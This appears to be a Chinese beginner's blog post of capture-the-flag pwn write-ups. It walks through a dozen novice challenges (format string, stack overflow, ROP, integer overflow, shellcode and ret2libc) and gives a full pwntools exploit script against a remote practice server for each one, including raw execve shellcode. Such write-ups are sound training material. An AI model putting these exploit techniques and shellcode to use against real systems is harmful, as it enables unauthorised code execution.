白刚开始接触pwn,做点新手训练了解一下pwn是干啥的。一开始啥漏洞都不知道,很多都是看别人的wp才知道要干嘛,比如才知道原来printf函数也是有漏洞的。 把这些题的思路和做法记录下来,不然我这鱼的记忆肯定过几天就又忘了

get_shell

题目描述:运行就能拿到shell呢,真的

如题,nc连接,连接直接就是shell,直接cat flag就可以了。

CGfsb

题目描述:菜鸡面对着pringf发愁,他不知道prinf除了输出还有什么作用

首先看源码:

1566380481224

可以看到第23行有个printf,那么就可以知道这个题考查格式化字符串漏洞,关于这个漏洞可以看我的这篇文章《一篇文章搞懂格式化字符串漏洞》

源码要求pwnme为8,那么就是要我们修改pwnme的值为8,看pwnme的位置:

1566380588578

pwnme在_bss端,说明它是一个全局变量,那我们要修改它,就要利用格式化字符串漏洞中的%n,所以首先找偏移量。

1566380741629

61616161就是我们要找的(a的十六进制ASCII码),可以看到偏移量是10。

我们的思路就是把这个地方改成pwnme的地址(0x0804A068),然后用%n对pwnme赋值为8(printf输出8个字符)。

构造exp:

from pwn import *


p = remote('111.198.29.45', 39132)
payload = p32(0x0804A068) + 'aaaa%10$n' #注意payload的顺序不能变
p.recvuntil('please tell me your name:\n')
p.sendline('aaaa')
p.recvuntil('leave your message please:\n')
p.sendline(payload)
print(p.recv())
print(p.recv())

得到flag:

1566381839784

when_did_you_born

题目描述:只要知道你的年龄就能获得flag,但菜鸡发现无论如何输入都不正确,怎么办

首先分析源码:

1566381977264

这是个栈溢出的题,主要是要让v5的值为1926,我们可以利用的值是v4,看一下这两个值的位置:

1566385355677

我们可以看到v4占了8个字节,下面就是v5,所以我们要让v4溢出来修改v5为1926。

构造exp:

from pwn import *


p = remote('111.198.29.45', 58195)
payload = 'a'*8 + p64(1926)
p.recvuntil("What's Your Birth?\n")
p.sendline("1999")
p.recvuntil("What's Your Name?\n")
p.sendline(payload)
print(p.recv())
print(p.recv())

得到flag:

1566386193917

hello_pwn

题目描述:pwn!,segment fault!菜鸡陷入了深思

分析源码:

1566386933204

第9行执行的就是cat flag,所以我们就要dword_60106C为1853186401,我们可以修改的是unk_601068,看一下它们的位置:

1566387092548

和上一题一样这也是个栈溢出,直接写exp了:

from pwn import *


p = remote('111.198.29.45', 49767)
payload = 'aaaa' + p64(1853186401)
p.recvuntil('lets get helloworld for bof\n')
p.sendline(payload)
p.interactive()

得到flag:

1566387363510

level0

题目描述:菜鸡了解了什么是溢出,他相信自己能得到shell

先看源码:

1566387434974

main函数没什么好看的,看vulnerable_function():

1566387511798

好像没啥啊,但这时候我注意到其他的函数:

1566387903715

看到了一个callsystem函数,地址为0x400596。看一看:

1566387945520

哦吼,要是能让程序执行这个函数,那就很不错了。

所以我们要在函数调用返回的时候修改eip,进行rop攻击。

看一下buf的位置,顺便看一下函数返回的位置,ida告诉我们r代表的就是return address:

1566388464692

1566388494019

可以看到buf和r之间偏移量为0x88。

exp如下:

from pwn import *


p = remote('111.198.29.45', 59164)
payload = 'a' * 0x88 + p64(0x400596)
p.recvuntil("Hello, World\n")
p.sendline(payload)
p.interactive()

获取到shell,得到flag:

1566388809423

level2

题目描述:菜鸡请教大神如何获得flag,大神告诉他‘使用`面向返回的编程`(ROP)就可以了’

先看源码:

1566389051208

和上一题一样,主函数还是啥都没有,看别的函数:

1566389080262

这次我们看到有程序中直接就有系统调用的函数system(),那如果里面的参数是“/bin/sh”就好了,找一下程序中有没有我们想要的“/bin/sh”。搜索方式为IDA里依次点击Search -> text -> 输入你要搜索的字符串 -> ok

1566389357722

找到了,那么我们思路是把函数返回的地址改为上一行的system(),地址为0x0804845c,再把参数变成我们需要的“/bin/sh”。

看一下偏移量:

1566390216756

1566390240220

buf到r的距离是0x88+4。

写exp:

from pwn import *


p = remote('111.198.29.45', 38299)
payload = 'a' * (0x88 + 4) + p32(0x0804845c) + p32(0x0804A024)
#也可以直接找system函数的位置:
#e = ELF('../files/level2')
#payload = 'a' * (0x88 + 4) + p32(e.symbols['system']) + 'a' * 4 +  p32(0x0804A024)
p.recvuntil("Input:\n")
p.sendline(payload)
p.interactive()

拿到shell,得到flag:

1566389962549

guess_num

题目描述:菜鸡在玩一个猜数字的游戏,但他无论如何都银不了,你能帮助他么

先看源码:

1566390387211

发现要猜对十次数字就可以拿到flag(sub_C3E就是cat flag)。而数字是随机数。这里有一个小知识点,实际上所谓的“随机”是“伪随机”,是根据一个数(我们可以称它为种子,也就是代码中的seed)为基准以某个递推公式推算出来的一系列数。所以说只要知道了seed,那么生成的数我们也就能知道了。

因此,思路是要能知道seed的值,我们看第19行的seed是什么:

1566390734126

看来我们是不可能知道seed是什么了,那就只能我们自己修改seed,同样是栈溢出,我们可以控制的是v9,看一下v9:

1566390934659

v9就是var_30,我们可以看到偏移量为0x20。所以我们修改seed的值,然后我们就知道了每次的数是什么,猜对10次得到flag。

写exp:

from pwn import *
from ctypes import *

p = remote('111.198.29.45', 41331)
payload = 'a' * 0x20 + p64(1)
c = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
c.srand(1)
p.recvuntil('name:') #注意如果输出的方法是printf,那么如果源码中没有\n那就不要在exp中写成name:\n,否则会出现问题
p.sendline(payload)
for i in range(10):
    p.recvuntil("number:") 
    p.sendline(str(c.rand() % 6 + 1))
p.interactive()

得到flag:

1566392280703

cgpwn2

题目描述:菜鸡认为自己需要一个字符串

首先分析源码:

1566450714306

啥也没有,看一下hello函数:

1566450755009

用户可以控制的是name和s,这应该也是栈溢出。观察到程序中有个pwn函数(pwn中的system地址是0x804855A),看一下:

1566450870135

参数不是/bin/sh,找了一下程序里也没有。

看一下name,发现是全局变量:

1566452807866

那就是把name变成/bin/sh然后直接传到system函数里。

exp如下:

from pwn import *


p = remote('111.198.29.45', 55008)
payload = 'a' * (0x26 + 4) + p32(0x804855A) + p32(0x0804A080)
#或者直接找system函数的位置
#e = ELF('../files/cgpwn2')
#payload = 'a' * (0x26 + 4) + p32(e.symbols['system']) + 'a' * 4 + p32(0x0804A080)
p.recvuntil('name\n')
p.sendline('/bin/sh\x00')
p.recvuntil('here:\n')
p.sendline(payload)
p.interactive()

取得shell,得到flag:

1566450036179

string

题目描述:菜鸡遇到了Dragon,有一位巫师可以帮助他逃离危险,但似乎需要一些要求

先看主函数:

1566824006101

sub_400D72:

1566824068004

sub_400BB9:

1566824117464

sub_400CA6:

1566824219571

我们分析源码,首先看到sub_400CA6的第17行,

void (__fastcall *)(_QWORD, void *))v1)(0LL, v1);

记住只要看见这种句子,就知道是把v1强制转化成一个函数指针,然后调用这个函数,那么我们就可以利用前面的read,把我们想执行的命令(shellcode)写入v1中,程序就可以执行我们的shellcode。

那么想要能输入v1,我们就要让第12句的if语句成真,也就是*a1 == a1[1]。

往上看发现a1是函数传入的参数,再往回看,一直追溯到主函数,发现这个a1实际上是v4,而v4和v3相等,也就是说现在*a1是68,a1[1]是85,我们的目标变成要让*a1为85。

再看到sub_400BB9,发现在第23行存在格式化字符串漏洞,那么就很明确了,用%n赋值。那么*a1的地址是多少呢?发现secret就是*a1的地址。

所以攻击思路如下:

通过格式化字符串漏洞赋值*a1为85,使if条件成真,执行我们传入的shellcode拿到shell。

构造exp:

from pwn import *


p = remote('111.198.29.45', 40437)
p.recvuntil('secret[0] is ')
addr = int(p.recvuntil('\n'), 16)
p.sendlineafter('be\n', 'aaaaa')
p.sendlineafter('up\n', 'east')
p.sendlineafter('leave(0)?:\n', '1')
p.sendlineafter("address'\n", str(addr))
p.sendlineafter("is:\n", "%85c%7$n")
shellcode= "\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05"
p.sendlineafter("SPELL\n", shellcode)
p.interactive()

int_overflow

题目描述:菜鸡感觉这题似乎没有办法溢出,真的么?

先看一下保护情况:

1566894632726

看主函数:

1566894664678

没什么东西,看login():

1566894731151

好像也没啥东西,接着看check_passwd():

1566894783263

strlen存在溢出漏洞,因为32位程序中strlen把结果放在al中,而al是八位的,所以能存的最大值为255(1111 1111),如果超过255,就会导致整形溢出。例如261(1 0000 0101‬)最终输出的结果就是(0000 0101)。

接着看程序,发现有一个what_is_this函数:

1566895048032

那么就是要通过strlen构造栈溢出让程序返回到这个函数,但是要求输入的s长度在(3,8]之间。所以通过整数溢出来越过这个限制。

看一下s在内存中的位置:

1566896638685

构造exp如下:

from pwn import *


p = remote('111.198.29.45', 32379)
payload = 'a' * 0x18 + p32(0x0804868B)
payload += 'a' * (261-int(len(payload)))
p.sendlineafter('choice:', '1')
p.recvuntil("username:\n")
p.sendline('aaaa')
p.recvuntil('passwd:\n')
p.sendline(payload)
print(p.recv())
print(p.recv())

得到flag:

1566896884187

level3

题目描述:libc!libc!这次没有system,你能帮菜鸡解决这个难题么?

先看源码:

1567078058878

1567078099146

首先想到read构造栈溢出返回system地址,参数传入“/bin/sh”地址。但是程序中没有system和/bin/sh。

虽然程序中没有直接给出,但是我们可以通过return2libc攻击间接得到。因为几乎所有程序都会运行libc库函数,而libc库中就有system和/bin/sh,libc库中的函数之间的偏移量都是固定的,只要知道了当前程序运行的libc版本和一个libc函数运行时在内存中的绝对地址(例如read或write),就可以推出system和/bin/sh的地址,也就可以通过栈溢出返回到system的地址。

那么read或write的绝对地址是啥?为啥地址不是固定的?可以看看这篇文章:《聊聊Linux动态链接中的PLT和GOT(1)——何谓PLT与GOT》,大佬写的非常清楚。

所以攻击思路就是先利用程序的write函数输出read运行时候的绝对地址,再通过read找出libc的版本,然后根据偏移量找出system和/bin/sh的地址,再调用vulnerable_function进行栈溢出返回system()。

exp如下:

from pwn import *
from LibcSearcher import *


p = remote('111.198.29.45', 51525)
e = ELF('../files/level3')

read_got = e.got['read']
write_plt = e.plt['write']
vuln = e.symbols['vulnerable_function']

#通过write回显read在内存中的绝对地址
#vuln为后面重新返回到vuln函数进行栈溢出做准备。
#函数调用顺序:func1_addr+func2_addr+...+func1_para+func2_para+...
payload1 = 'a' * (0x88 + 4) + p32(write_plt) + p32(vuln) + p32(1) + p32(read_got) + p32(4)

p.recv()
p.sendline(payload1)
read_leak = u32(p.recv())

#通过read的绝对地址查询libc版本,得到system和/bin/sh的地址
libc = LibcSearcher('read',read_leak)
libc_base = read_leak - libc.dump('read')
sys_addr = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')

payload2 = 'a' * (0x88 + 4) + p32(sys_addr) + p32(4) + p32(bin_sh)

p.recv()
p.sendline(payload2)
p.interactive()

运行exp,如图,由于程序不确定libc版本,需要手动选择,这里我们选择libc版本选0(我也不知道选啥所以选第一个),得到shell,取得flag。

1567087020922


"Imagination will take you everywhere."